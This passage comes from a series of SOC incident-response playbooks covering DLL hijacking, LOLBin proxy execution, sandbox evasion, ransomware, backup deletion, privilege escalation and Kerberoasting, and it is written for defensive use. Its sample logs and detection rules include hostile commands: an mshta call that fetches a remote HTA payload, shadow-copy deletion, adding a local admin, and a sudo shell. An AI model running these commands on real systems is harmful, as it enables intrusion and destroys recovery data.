MITRE ATT&CK Tactic: Defense Evasion

Technique ID: T1574.002

Technique Name: DLL Search Order Hijacking

Threat Category: Stealth Execution / Evasion

Severity (Default): High

Escalation Severity: Critical (if persistence or privilege abuse detected)

Applies To: Windows Endpoints, Servers, Application Hosts

SOC Ownership: L2 → IR Lead → DFIR

Incident Type: Stealth Malware Execution

2. Threat Description

The attacker **places a malicious DLL in a location that is searched before the legitimate library**, causing a trusted executable to load attacker-controlled code.

Common abuse patterns include:

DLL placed in application directory

DLL placed in writable system paths

DLL name mimics legitimate dependency

Because execution happens inside a **trusted, signed executable**, traditional allowlists and signature checks may be bypassed.

3. Why This Detection Matters in 2026

In 2026, DLL side-loading remains one of the **most reliable evasion techniques**.

Attackers use it to:

Execute malware without dropping obvious executables

Bypass application allowlisting

Blend into legitimate application behaviour

Side-loading often enables **initial execution, persistence or privilege escalation** with low detection noise.

4. Detection Logic

Trigger alert when:

Executable loads DLL from non-standard directory
Unsigned DLL loaded by signed binary
DLL loaded from user-writable path
Unexpected DLL load sequence detected

Increase severity if:

DLL loads at system startup
Executable runs with elevated privileges
DLL establishes network connections
Multiple hosts show same DLL name

5. Log Data

Endpoint Module Load Telemetry

2027-12-27 01:36:11 | DLL_LOAD |

process=printerupdate.exe | dll=version.dll | path=C:\ProgramData\printer\

File Reputation Check

2027-12-27 01:36:12 | FILE_REPUTATION |

file=version.dll | signed=false | prevalence=low

Clear indicator of **search order hijacking**.

6. Possible Attack Scenarios

Scenario A – Trojanised Software Update

Attacker drops malicious DLL next to auto-updater executable.

Scenario B – Living-Off-The-Land Execution

Signed system utility abused to load attacker DLL.

Scenario C – Persistence via Trusted App

Malicious DLL loads every time legitimate application starts.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

Which executable loaded the DLL

Where the DLL was loaded from
Is the DLL signed or known
Is this expected application behaviour

Immediate Checks

File path legitimacy
DLL hash reputation
Application owner and purpose
Recent file creation events

Decision

Suspicious DLL load → Escalate to L2

L2 Analyst – Deep Analysis

Analysis Steps

Extract DLL for static analysis
Review DLL export functions
Check persistence mechanisms
Correlate with network activity

High-Risk Indicators

DLL in user-writable directory
Persistence tied to DLL load
Outbound C2 communications
Multiple endpoints affected

8. Incident Escalation Criteria

Escalate to Incident when:

DLL confirmed malicious

Escalate to Critical if:

DLL provides persistence
Privilege escalation observed
Lateral movement initiated

9. Containment Actions

Immediate SOC Actions

Isolate affected host if malicious
Quarantine malicious DLL
Block hash and filename across environment

Extended IR Actions

Identify all affected hosts
Remove persistence mechanisms
Reimage systems if needed
Reset credentials if privilege abuse suspected

10. Recovery & Validation

Confirm legitimate DLL restored
Validate application integrity
Ensure no malicious DLLs remain
Monitor for reoccurrence

11. Prevention & Hardening

Control: Application Control
Action: Restrict DLL load locations

Control: File Integrity Monitoring
Action: Alert on new DLLs near executables

Control: Privilege Management
Action: Remove write access to app directories

Control: Software Inventory
Action: Validate application dependencies

12. Mapping to NIST Incident Response

Preparation: Application hardening
Detection: DLL load anomaly
Analysis: Module inspection
Containment: Host and file isolation
Eradication: DLL removal
Recovery: Application validation
Lessons Learned: Dependency control

13. SOC Perspective

Side-loading turns trust against you.

If a signed application loads a malicious DLL,
the attacker didn't break the door.

They walked in wearing the uniform.

Fix the load path, restore integrity,
and expect stealthy persistence attempts next.

BYZANTINE

[DEFENSE EVASION] PLAYBOOK 46: LOLBINS ABUSE – SIGNED BINARY PROXY EXECUTION

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-046
Use Case Name: LOLBins Abuse
MITRE ATT&CK Tactic: Defense Evasion
Technique ID: T1218
Technique Name: Signed Binary Proxy Execution
Threat Category: Living-Off-The-Land / Evasion
Severity (Default): High
Escalation Severity: Critical (if payload execution or C2 confirmed)
Applies To: Windows Endpoints, Servers
SOC Ownership: L2 → IR Lead → DFIR
Incident Type: Stealth Execution Using Trusted Tools

2. Threat Description

The attacker abuses **legitimate, signed Windows binaries** to execute malicious code, avoiding the need to drop custom executables.

Commonly abused LOLBins include:

rundll32.exe
mshta.exe
certutil.exe
regsvr32.exe
wmic.exe
bitsadmin.exe

Because these binaries are **trusted and signed by Microsoft**, attackers can bypass traditional AV and application allowlisting.

3. Why This Detection Matters in 2026

In 2026, LOLBins abuse is one of the **most common execution techniques** across ransomware, APT and hands-on-keyboard intrusions.

Attackers use LOLBins to:

- Blend malicious activity with legitimate system operations
- Evade signature-based detection
- Execute payloads in-memory

Detection usually indicates **active exploitation or post-compromise execution**.

4. Detection Logic

Trigger alert when:

LOLBins execute with suspicious command-line arguments

Network connections initiated by LOLBins

LOLBins launch child processes unexpectedly

Encoded or remote payloads referenced

Increase severity if:

Execution originates from user directories

LOLBins used in sequence

Execution followed by persistence or C2

Activity occurs off-hours

5. Log Data

Endpoint Process Creation

2027-12-29 03:02:11 | PROCESS_START |

process=mshta.exe | command=mshta http://cdn-update[.]site/payload.hta

Network Telemetry

2027-12-29 03:02:13 | HTTP_REQUEST |

process=mshta.exe | dest=cdn-update[.]site

Clear sign of **signed binary proxy execution**.

6. Possible Attack Scenarios

Scenario A – Fileless Malware Execution

mshta executes remote HTA payload without dropping files.

Scenario B – Payload Download and Decode

certutil downloads and decodes malware from external server.

Scenario C – Chained LOLBins

Multiple signed binaries used to stage and execute payloads.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Which LOLBin was used
- What command-line arguments were supplied
- Was the execution expected
- Did it contact external resources

Immediate Checks

- Parent process legitimacy
- User context and privileges
- Execution frequency
- Recent alerts on host

Decision

Suspicious LOLBins usage → Escalate to L2

L2 Analyst – Deep Analysis

Analysis Steps

- Review full command-line history
- Identify payload source
- Correlate with persistence attempts
- Assess follow-on activity

High-Risk Indicators

- Encoded commands
- Remote payload execution
- Multiple LOLBins chained
- Network C2 activity

8. Incident Escalation Criteria

Escalate to Incident when:

- Malicious LOLBins execution confirmed

Escalate to Critical if:

- Payload execution succeeded
- Persistence mechanisms detected
- Lateral movement initiated

9. Containment Actions

Immediate SOC Actions

- Isolate affected host if necessary
- Terminate malicious processes
- Block external payload sources

Extended IR Actions

- Remove persistence artefacts
- Hunt for LOLBins abuse across environment
- Reimage system if integrity compromised
- Reset credentials if needed

10. Recovery & Validation

- Confirm no malicious LOLBins executions remain
- Validate host integrity
- Monitor for repeated abuse patterns
- Ensure logs and telemetry restored

11. Prevention & Hardening

- Control: Command-Line Monitoring
- Action: Alert on suspicious LOLBins arguments

- Control: Application Control
- Action: Restrict LOLBins usage where possible

- Control: Network Controls
- Action: Block unnecessary outbound access

- Control: User Privilege Management
- Action: Enforce least privilege

12. Mapping to NIST Incident Response

- Preparation: Execution control policies
- Detection: Signed binary abuse alert
- Analysis: Command-line and behaviour analysis
- Containment: Host isolation
- Eradication: Artefact removal
- Recovery: System validation
- Lessons Learned: LOLBins governance

13. SOC Perspective

When attackers don't bring tools,
they borrow yours.

If trusted binaries are executing malware,
signatures won't save you.

Watch the arguments, watch the behaviour,
and assume stealth execution is underway.

BYZANTINE

[DEFENSE EVASION] PLAYBOOK 47: TIME-DELAYED EXECUTION

– TIME-BASED EVASION

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-047
Use Case Name: Time-Delayed Execution
MITRE ATT&CK Tactic: Defense Evasion
Technique ID: T1497.003
Technique Name: Time-Based Evasion
Threat Category: Sandbox Evasion / Stealth Execution
Severity (Default): Medium
Escalation Severity: High (if payload execution confirmed)
Applies To: Endpoints, Servers, Virtualised Environments
SOC Ownership: L2 → IR Lead
Incident Type: Evasion-Driven Malware Execution

2. Threat Description

Malware **intentionally delays execution** for minutes, hours or even days after initial delivery.

Common delay methods include:

- Sleep timers
- Scheduled execution
- Delayed tasks or services
- Execution triggered after user interaction

The goal is to **outlast sandbox and detonation environments**, which typically observe samples for a short period only.

3. Why This Detection Matters in 2026

In 2026, most malware is sandbox-aware.

Attackers use time-based evasion to:

- Avoid automated malware analysis
- Bypass email and web gateway detonations
- Execute only on real user systems

If delayed execution is detected, it usually means **payload delivery already succeeded**.

4. Detection Logic

Trigger alert when:

Executable shows delayed child process creation
Long sleep or wait functions observed
Scheduled execution shortly after file delivery
Execution occurs significantly after download

Increase severity if:

Execution follows phishing delivery
Delay coincides with user login
Payload performs network activity after delay
Persistence mechanisms follow execution

5. Log Data

Endpoint Process Timeline

2027-12-31 09:14:02 | FILE_CREATE |

file=invoice_viewer.exe

Delayed Execution

2027-12-31 10:02:41 | PROCESS_START |

process=invoice_viewer.exe | delay=2900s

Clear sign of **time-based evasion**.

6. Possible Attack Scenarios

Scenario A – Phishing Payload Delay

Malicious attachment delays execution to evade email sandboxing.

Scenario B – Dropper with Staggered Stages

Initial loader sleeps before fetching second-stage malware.

Scenario C – Human Verification Evasion

Malware executes only after user interaction and idle time.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

What was the initial delivery vector

How long was execution delayed
What happened after execution
Is persistence present

Immediate Checks

File reputation and origin
Execution timeline correlation
User activity before execution
Network connections post-delay

Decision

Suspicious delayed execution → Escalate to L2

L2 Analyst – Deep Analysis

Analysis Steps

Review full execution timeline
Inspect code behaviour for sleep logic
Correlate with sandbox verdicts
Assess payload intent

High-Risk Indicators

Delayed execution followed by C2
Multiple delay techniques used
Payload executes with elevated privileges
Persistence established

8. Incident Escalation Criteria

Escalate to Incident when:

Delayed execution leads to malicious activity

Escalate to High if:

Network beaconing observed
Credential access follows execution
Multiple endpoints affected

9. Containment Actions

Immediate SOC Actions

Isolate affected host if malicious
Terminate suspicious processes
Block related hashes and URLs

Extended IR Actions

- Remove persistence mechanisms
- Scan environment for similar payloads
- Reimage system if needed
- Reset credentials if compromise suspected

10. Recovery & Validation

- Confirm delayed payload removed
- Validate no further execution scheduled
- Monitor for late-stage activation
- Ensure endpoint integrity

11. Prevention & Hardening

- Control: Behaviour-Based Detection
- Action: Detect execution timing anomalies

- Control: Email Security
- Action: Extend detonation windows

- Control: Endpoint Protection
- Action: Monitor delayed child processes

- Control: User Awareness
- Action: Reduce phishing success rate

12. Mapping to NIST Incident Response

- Preparation: Behavioural monitoring
- Detection: Time-based anomaly alert
- Analysis: Execution timeline review
- Containment: Host isolation
- Eradication: Payload removal
- Recovery: System validation
- Lessons Learned: Sandbox coverage gaps

13. SOC Perspective

Time is the attacker's camouflage.

If malware waits,
it's waiting for you to stop watching.

Track timelines, not just signatures,
because delayed execution is still execution.

BYZANTINE

[DEFENSE EVASION] PLAYBOOK 48: VM / SANDBOX CHECKS – SYSTEM-BASED EVASION

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-048

Use Case Name: VM / Sandbox Checks

MITRE ATT&CK Tactic: Defense Evasion

Technique ID: T1497.001

Technique Name: System Checks

Threat Category: Sandbox Evasion / Anti-Analysis

Severity (Default): Medium

Escalation Severity: High (if execution suppressed on analysis systems)

Applies To: Endpoints, Sandboxes, Malware Analysis Platforms

SOC Ownership: L2 → IR Lead

Incident Type: Evasion-Aware Malware

2. Threat Description

Malware **actively checks the execution environment** to determine whether it is running inside a virtual machine, sandbox or analysis framework.

Common checks include:

- Virtual hardware identifiers

- Sandbox-specific registry keys

- Debugger presence

- Low system uptime or minimal user activity

- Known analysis tool processes

If indicators are detected, the malware **aborts or alters execution**, avoiding detonation.

3. Why This Detection Matters in 2026

In 2026, most advanced malware is **analysis-aware by default**.

Attackers use system checks to:

- Evade automated malware detection pipelines

- Prevent payload execution in sandboxes

- Execute only on real victim machines

Detection of VM or sandbox checks strongly suggests **targeted or advanced malware**.

4. Detection Logic

Trigger alert when:

Processes query VM-related registry keys
Hardware enumeration APIs called unusually
Checks for sandbox or debugger artefacts
Execution path diverges based on environment

Increase severity if:

Checks follow phishing delivery
Execution halts after checks
Multiple evasion techniques chained
Payload resumes execution later

5. Log Data

Endpoint Behaviour Telemetry

2028-01-02 00:41:18 | SYSTEM_QUERY |

process=payload.exe | check=VMware,VirtualBox

Process Termination

2028-01-02 00:41:20 | PROCESS_EXIT |

process=payload.exe | reason=environment_detected

Clear indicator of **anti-analysis behaviour**.

6. Possible Attack Scenarios

Scenario A – Sandbox-Aware Phishing Payload
Attachment executes only on real endpoints.

Scenario B – Targeted Malware Deployment
Malware aborts execution in SOC analysis environment.

Scenario C – Multi-Stage Evasion
Initial stage checks environment before loading core payload.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer
What delivery vector was used

Which checks were performed
Did execution abort or delay
Was payload retrieved

Immediate Checks

File origin and reputation
Execution timeline
Sandbox verdict comparison
User interaction indicators

Decision

Confirmed sandbox checks → Escalate to L2

L2 Analyst – Deep Analysis

Analysis Steps

Review full system check logic
Correlate with delayed execution
Assess follow-on behaviour on real hosts
Determine malware family

High-Risk Indicators

Multiple anti-analysis techniques
Targeted execution logic
Subsequent execution after reboot
Persistence mechanisms present

8. Incident Escalation Criteria

Escalate to Incident when:

Sandbox evasion confirmed with malicious intent

Escalate to High if:

Payload later executes on endpoint
C2 communication observed
Multiple hosts targeted

9. Containment Actions

Immediate SOC Actions

Isolate affected endpoint if execution occurs
Block file hashes and delivery URLs
Flag indicators across detection platforms

Extended IR Actions

Hunt for similar payloads

Enhance sandbox visibility

Reimage systems if compromise suspected

Reset credentials if necessary

10. Recovery & Validation

Confirm no payload executed on endpoints

Validate no delayed execution scheduled

Monitor environment for reappearance

Ensure telemetry completeness

11. Prevention & Hardening

Control: Behavioural Detection

Action: Detect system check patterns

Control: Sandbox Engineering

Action: Randomise artefacts and uptime

Control: Endpoint Protection

Action: Monitor environment discovery calls

Control: Threat Intelligence

Action: Track evasion techniques

12. Mapping to NIST Incident Response

Preparation: Anti-evasion detection

Detection: System check anomaly

Analysis: Behavioural logic review

Containment: Endpoint isolation

Eradication: Payload removal

Recovery: System validation

Lessons Learned: Analysis environment hardening

13. SOC Perspective

If malware refuses to run,
it's not broken.

It's watching.

When attackers test the environment first,
assume they care who the victim is.

Detect the checks, not just the payload.

BYZANTINE

[IMPACT] PLAYBOOK 49: RANSOMWARE ENCRYPTION – DATA ENCRYPTED FOR IMPACT

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-049

Use Case Name: Ransomware Encryption

MITRE ATT&CK Tactic: Impact

Technique ID: T1486

Technique Name: Data Encrypted for Impact

Threat Category: Ransomware / Business Disruption

Severity (Default): Critical

Escalation Severity: Crisis

Applies To: File Servers, Databases, Endpoints, Virtual Machines

SOC Ownership: L2 → IR Lead → Crisis Management

Incident Type: Active Ransomware Incident

2. Threat Description

Ransomware **actively encrypts data** across endpoints and servers, rendering systems unusable and disrupting business operations.

Encryption may target:

- User file shares

- Databases

- Application servers

- Backup repositories

- Virtual machine disks

This phase represents the **final impact stage** of a multi-step intrusion.

3. Why This Detection Matters in 2026

In 2026, ransomware is no longer just encryption.

It often includes:

- Prior data exfiltration (double extortion)

- Backup destruction

- Rapid lateral deployment

- Automated domain-wide execution

Once encryption starts, **time is no longer on your side.**

4. Detection Logic

Trigger alert when:

- Mass file rename or extension changes
- High-rate file write and delete activity
- Known ransomware process behaviour
- Shadow copy deletion followed by encryption

Increase severity if:

- Multiple hosts encrypt simultaneously
- File servers or databases affected
- Backup systems touched
- Ransom note detected

5. Log Data

Endpoint File Activity

2028-01-05 03:11:42 | FILE_RENAME |

host=FS01 | count=12000 | extension=.lockbit

Process Telemetry

2028-01-05 03:11:44 | PROCESS_START |

process=svchost.exe | anomalous_file_activity=true

Clear indication of **active ransomware encryption**.

6. Possible Attack Scenarios

Scenario A – Domain-Wide Ransomware

Attackers deploy ransomware via GPO or PsExec.

Scenario B – Targeted Server Encryption

File servers encrypted first to maximise impact.

Scenario C – Double Extortion

Data exfiltrated before encryption to force payment.

7. SOC Triage Workflow

L1 Analyst – Not Applicable
This alert must **bypass L1**.

L2 Analyst – Immediate Action

Questions to Answer

Which systems are encrypting
How fast encryption is spreading
Is data exfiltration observed
Are backups impacted

Immediate Checks

Scope of affected hosts
Ransom note presence
Backup status
Network segmentation effectiveness

Decision

Encryption confirmed → Crisis Incident

8. Incident Escalation Criteria

Always escalate to Crisis when:

Encryption activity confirmed

Immediate executive notification required.

Engage:

IR vendor
Legal and compliance
Business continuity team
Communications team

9. Containment Actions

Immediate SOC Actions

Disconnect affected systems from network
Disable compromised accounts
Block lateral movement channels

Extended IR Actions

Stop encryption processes
Preserve encrypted and unencrypted data

Identify initial infection vector
Engage ransomware response specialists

10. Recovery & Validation

Restore systems from clean backups
Rebuild compromised systems
Validate data integrity
Monitor for reinfection

Never decrypt on compromised systems.

11. Prevention & Hardening

Control: Backup Strategy
Action: Offline, immutable backups

Control: Privilege Management
Action: Limit domain-wide execution

Control: Network Segmentation
Action: Contain lateral spread

Control: Detection
Action: Early-stage behaviour monitoring

12. Mapping to NIST Incident Response

Preparation: Backup and IR readiness
Detection: Encryption behaviour alert
Analysis: Scope and impact assessment
Containment: Network isolation
Eradication: Malware removal
Recovery: System restoration
Lessons Learned: Attack chain breakdown

13. SOC Perspective

Ransomware encryption is not an alert.
It is a crisis.

If files are encrypting,
assume the attacker already won the first battle.

Contain immediately, protect backups,
and rebuild with discipline.

BYZEMER

[IMPACT] PLAYBOOK 50: BACKUP DELETION – INHIBIT SYSTEM RECOVERY

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-050

Use Case Name: Backup Deletion

MITRE ATT&CK Tactic: Impact

Technique ID: T1490

Technique Name: Inhibit System Recovery

Threat Category: Ransomware Enablement / Recovery Prevention

Severity (Default): Critical

Escalation Severity: Crisis

Applies To: Backup Servers, File Servers, Endpoints, Virtual Infrastructure

SOC Ownership: L2 → IR Lead → Crisis Management

Incident Type: Ransomware Endgame Activity

2. Threat Description

The attacker **intentionally deletes or disables recovery mechanisms** to ensure victims cannot restore systems after ransomware encryption.

Common actions include:

- Deleting Windows Shadow Copies
- Removing or encrypting backup repositories
- Disabling backup agents and services
- Deleting snapshots in virtual environments
- Tampering with cloud backup configurations

This step is usually executed **immediately before or after encryption**.

3. Why This Detection Matters in 2026

In 2026, ransomware operators are **recovery-aware**.

They deliberately:

- Target backups early
- Destroy last-known-good restore points
- Force organisations into ransom negotiations

If backup deletion is detected, the incident has already reached **maximum impact stage**.

4. Detection Logic

Trigger alert when:

vssadmin delete shadows executed
wmic shadowcopy delete observed
Backup services stopped or disabled
Backup repositories deleted or modified
Snapshot deletion APIs invoked

Increase severity if:

Activity occurs shortly before encryption
Backup servers targeted
Multiple recovery mechanisms disabled
Domain-wide execution observed

5. Log Data

Endpoint Command Execution

2028-01-06 02:54:11 | COMMAND_EXEC |
user=svc_backup | command=vssadmin delete shadows /all /quiet

Backup Server Logs

2028-01-06 02:55:03 | BACKUP_REPO_EVENT |
action=repository_deleted | repo=weekly_full_backup

Clear indication of **intentional recovery destruction**.

6. Possible Attack Scenarios

Scenario A – Ransomware Preparation
Backups deleted minutes before encryption begins.

Scenario B – Post-Encryption Lockdown
Attacker removes backups after encryption to block recovery.

Scenario C – Double Extortion Hardening
Backups destroyed to force ransom payment even after data exfiltration.

7. SOC Triage Workflow

L1 Analyst – Not Applicable
This alert must **bypass L1**.

L2 Analyst – Immediate Action

Questions to Answer

- Which backups were affected
- Are offline or immutable backups safe
- When deletion occurred relative to encryption
- Which accounts performed the actions

Immediate Checks

- Backup infrastructure scope
- Account privilege review
- Correlated ransomware activity
- Snapshot status across systems

Decision

Backup deletion detected → Crisis Incident

8. Incident Escalation Criteria

Always escalate to Crisis when:

Recovery mechanisms intentionally destroyed

Immediate engagement required with:

- Executive management
- Business continuity and disaster recovery
- Legal and compliance
- IR and ransomware specialists

9. Containment Actions

Immediate SOC Actions

- Isolate systems involved in backup deletion
- Disable compromised backup accounts
- Protect remaining backups immediately

Extended IR Actions

- Preserve backup server logs
- Assess viability of offline backups
- Block further destructive commands
- Engage infrastructure and storage teams

10. Recovery & Validation

Restore from offline or immutable backups if available
Rebuild backup infrastructure from clean state
Validate integrity of restored data
Implement emergency backup protections

Never reconnect backup systems until environment is clean.

11. Prevention & Hardening

Control: Immutable Backups
Action: Enable write-once backup storage

Control: Backup Access Control
Action: Separate backup admin credentials

Control: Monitoring
Action: Alert on backup deletion commands

Control: DR Testing
Action: Regular recovery simulations

12. Mapping to NIST Incident Response

Preparation: Backup resilience planning
Detection: Recovery tampering alert
Analysis: Impact and scope assessment
Containment: Protect remaining backups
Eradication: Credential and system cleanup
Recovery: Restore from secure backups
Lessons Learned: Backup architecture redesign

13. SOC Perspective

Backup deletion is not preparation.
It is commitment.

When attackers destroy recovery paths,
they intend to leave you no choice.

Protect what remains, contain immediately,
and rebuild from what cannot be touched.

[PRIVILEGE ESCALATION] PLAYBOOK 51: LOCAL ADMIN ADDED – PRIVILEGE ESCALATION VIA VALID ACCOUNTS

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-051
Use Case Name: Local Admin Added
MITRE ATT&CK Tactic: Privilege Escalation
Technique ID: T1078
Technique Name: Valid Accounts
Threat Category: Privilege Escalation / Persistence
Severity (Default): Critical
Escalation Severity: Critical
Applies To: Endpoints, Servers, Jump Hosts
SOC Ownership: L2 → IR Lead → DFIR
Incident Type: Privilege Escalation

2. Threat Description

The attacker **adds a compromised user account to the local Administrators group** on a host, granting persistent elevated privileges.

This enables the attacker to:

- Disable security controls
- Install services and drivers
- Dump credentials
- Execute lateral movement tools
- Maintain long-term access

Because the action uses **legitimate account management mechanisms**, it often blends into normal administrative activity.

3. Why This Detection Matters in 2026

In 2026, attackers prioritise **account-based privilege escalation** over exploit-heavy techniques.

Adding a user to local Administrators:

- Requires no exploit
- Survives reboots
- Enables nearly all follow-on attack steps

Once local admin is obtained, **host trust is effectively lost.**

4. Detection Logic

Trigger alert when:

User added to local Administrators group
Local group membership modified outside change window
Account added from non-admin context
Group change initiated from compromised endpoint

Increase severity if:

Account added is non-IT user
Change occurs off-hours
Action follows credential theft or malware alerts
Multiple hosts modified

5. Log Data

Windows Security Event

2028-01-08 01:22:19 | EVENT_ID=4732 |

group=Administrators | member=john.doe | host=WS-023

Endpoint Context

2028-01-08 01:21:54 | PROCESS_START |

process=net.exe | command=net localgroup administrators john.doe /add

Clear indication of **local privilege escalation via account manipulation.**

6. Possible Attack Scenarios

Scenario A – Post-Phishing Escalation

User credentials compromised and elevated locally.

Scenario B – Persistence Establishment

Attacker ensures admin access survives password resets.

Scenario C – Lateral Movement Staging

Local admin used to dump credentials for further spread.

7. SOC Triage Workflow

L1 Analyst – Not Applicable
This alert should **bypass L1**.

L2 Analyst – Immediate Analysis

Questions to Answer

Which account was added
Who initiated the change
Was the change authorised
Which host(s) were affected

Immediate Checks

Account role and job function
Change management records
Recent alerts on the host
Source process and command-line

Decision

Unauthorised local admin change → Incident

8. Incident Escalation Criteria

Escalate to Incident when:

Local admin added without approved change

Escalate to Crisis if:

Multiple hosts affected
Domain accounts added locally
Change follows ransomware or malware activity

9. Containment Actions

Immediate SOC Actions

Remove account from local Administrators group
Isolate affected host
Suspend compromised account

Extended IR Actions

Reset account credentials
Audit local admin membership across environment
Hunt for credential dumping activity
Review endpoint security posture

10. Recovery & Validation

Confirm admin membership corrected
Validate no additional accounts added
Ensure host integrity
Monitor for re-addition attempts

11. Prevention & Hardening

Control: Privileged Access Management
Action: Just-in-time local admin access

Control: Monitoring
Action: Alert on local admin group changes

Control: Endpoint Hardening
Action: Restrict use of net.exe and PowerShell admin commands

Control: Identity Governance
Action: Enforce role-based access controls

12. Mapping to NIST Incident Response

Preparation: Privileged access controls
Detection: Group membership change alert
Analysis: Account and host review
Containment: Privilege removal
Eradication: Credential reset
Recovery: Host validation
Lessons Learned: Admin access governance

13. SOC Perspective

Local admin is not convenience.
It is power.

If attackers gain it,
everything on the host is theirs.

Remove it fast, trace how it happened,
and assume follow-on abuse is imminent.

[PRIVILEGE ESCALATION] PLAYBOOK 52: SUSPICIOUS SUDO ACTIVITY – PRIVILEGE ESCALATION ON LINUX

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-052
Use Case Name: Suspicious Sudo Activity
MITRE ATT&CK Tactic: Privilege Escalation
Technique ID: T1548.003
Technique Name: Sudo
Threat Category: Privilege Escalation / Misconfiguration Abuse
Severity (Default): High
Escalation Severity: Critical (if root access confirmed)
Applies To: Linux Servers, Containers, Cloud Workloads
SOC Ownership: L2 → IR Lead → DFIR
Incident Type: Privilege Escalation

2. Threat Description

An attacker **abuses misconfigured sudo rules** to execute commands with elevated privileges (root) without possessing full root credentials.

Common abuse patterns include:

- NOPASSWD sudo rules
- Overly permissive command allowances
- Wildcard command execution
- Sudo access to shells or interpreters

This allows attackers to **escalate from standard user to root** using legitimate administrative mechanisms.

3. Why This Detection Matters in 2026

In 2026, Linux environments are widely used for:

- Cloud workloads
- Containers and Kubernetes nodes
- Databases and application servers

Sudo misconfigurations are frequently overlooked, making them a **low-noise, high-impact escalation path**.

Once root is obtained, the attacker can:

Disable security agents
Install backdoors
Access sensitive data
Move laterally across environments

4. Detection Logic

Trigger alert when:

Unexpected sudo command executions observed
Sudo used outside normal admin workflows
NOPASSWD sudo invoked by non-admin users
Sudo executed from suspicious parent processes

Increase severity if:

Sudo leads to shell access
Commands modify system binaries or services
Activity follows credential compromise
Multiple sudo executions in short timeframe

5. Log Data

Linux Auth Logs

2028-01-10 02:18:37 | sudo |

user=appuser | command=/bin/bash | nopasswd=true

Process Context

2028-01-10 02:18:38 | process_start |

uid=0 | parent=sudo | process=bash

Clear indication of **root access via sudo abuse**.

6. Possible Attack Scenarios

Scenario A – Cloud VM Compromise

Attacker escalates to root on a Linux VM using permissive sudo rules.

Scenario B – Container Escape Preparation

Root access used to tamper with container runtime or host services.

Scenario C – Persistence and Backdoor Installation
Root used to install cron jobs, SSH keys or kernel modules.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

Which user executed sudo
What command was run
Was the action authorised
Did sudo grant shell access

Immediate Checks

User role and expected behaviour
sudoers configuration
Command execution history
Related alerts on the host

Decision

Unauthorised sudo usage → Escalate to L2

L2 Analyst – Deep Analysis

Analysis Steps

Review full sudo command history
Inspect sudoers file for misconfigurations
Check for root-level persistence
Correlate with lateral movement

High-Risk Indicators

Shell or interpreter executed via sudo
System service modification
Credential or key changes
Outbound connections from root context

8. Incident Escalation Criteria

Escalate to Incident when:

Root access obtained via sudo

Escalate to Critical if:

Multiple hosts affected
Persistence mechanisms installed
Cloud or container control impacted

9. Containment Actions

Immediate SOC Actions
Revoke sudo access for compromised user
Isolate affected host if necessary
Terminate suspicious root sessions

Extended IR Actions
Correct sudoers misconfigurations
Rotate credentials and SSH keys
Audit root activity logs
Hunt for similar abuse across environment

10. Recovery & Validation

Confirm sudo rules hardened
Validate no root persistence remains
Monitor for repeat sudo abuse
Ensure system integrity

11. Prevention & Hardening

Control: Sudo Configuration Management
Action: Enforce least-privilege sudo rules

Control: Monitoring
Action: Alert on NOPASSWD and shell execution

Control: Access Governance
Action: Regularly review sudoers files

Control: Cloud Security
Action: Standardise hardened Linux images

12. Mapping to NIST Incident Response

Preparation: Privileged access controls
Detection: Sudo anomaly alert
Analysis: Command and config review
Containment: Privilege revocation
Eradication: Misconfiguration remediation

Recovery: System validation
Lessons Learned: Linux hardening gaps

13. SOC Perspective

Sudo is not root,
until it is.

If attackers can sudo freely,
root is just one command away.

Lock down the rules, watch the commands,
and never ignore Linux privilege escalation.

BYZINMER

[CREDENTIAL ACCESS] PLAYBOOK 53: KERBEROASTING INDICATORS – SERVICE TICKET ABUSE

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-053

Use Case Name: Kerberoasting Indicators

MITRE ATT&CK Tactic: Credential Access

Technique ID: T1558.003

Technique Name: Kerberoasting

Threat Category: Credential Access / Active Directory Abuse

Severity (Default): Critical

Escalation Severity: Critical

Applies To: Active Directory, Domain Controllers, Kerberos Infrastructure

SOC Ownership: L2 → IR Lead → AD Security

Incident Type: Credential Harvesting

2. Threat Description

The attacker **enumerates Active Directory service accounts** and requests Kerberos service tickets (TGS) for those accounts.

These tickets are:

- Encrypted with the service account's password hash

- Exported from memory or logs

- Cracked offline using brute force or wordlists

If successful, the attacker obtains **plaintext service account passwords**, often with elevated or persistent privileges.

3. Why This Detection Matters in 2026

In 2026, Kerberoasting remains one of the **most reliable AD credential theft techniques**.

Attackers favour it because:

- It requires only a valid domain user

- It generates minimal noise

- It bypasses MFA entirely

- It often targets high-privilege service accounts

Once cracked, service account credentials can enable **lateral movement, persistence or domain compromise**.

4. Detection Logic

Trigger alert when:

- Unusual volume of Kerberos TGS requests
- Single user requests tickets for many SPNs
- Service tickets requested outside normal patterns
- TGS requests originate from user workstation

Increase severity if:

- Service accounts are highly privileged
- Requests occur off-hours
- Activity follows AD enumeration or BloodHound usage
- Multiple hosts perform similar requests

5. Log Data

Domain Controller Security Logs

2028-01-12 01:09:44 | EVENT_ID=4769 |

user=john.doe | spn=SQLSvc/db01 | enc_type=0x17

Repeated Activity

2028-01-12 01:10:02 | EVENT_ID=4769 |

user=john.doe | spn=HTTP/app01 | enc_type=0x17

Clear sign of **service ticket harvesting**.

6. Possible Attack Scenarios

Scenario A – Service Account Password Crack
Attacker cracks weak service account password offline.

Scenario B – Privilege Escalation Path
Cracked service account has admin or delegated rights.

Scenario C – Long-Term Persistence
Service account used for scheduled tasks or services.

7. SOC Triage Workflow

L1 Analyst – Not Applicable
This alert should **bypass L1**.

L2 Analyst – Immediate Analysis

Questions to Answer

Which user requested the tickets
Which service accounts were targeted
Are those requests expected
Do service accounts have elevated privileges

Immediate Checks

SPN ownership and role
Account password age and strength
Source host context
Recent AD reconnaissance alerts

Decision

Unauthorised Kerberoasting → Incident

8. Incident Escalation Criteria

Escalate to Incident when:

Kerberoasting activity confirmed

Escalate to Crisis if:

High-privilege service accounts targeted
Password cracking suspected successful
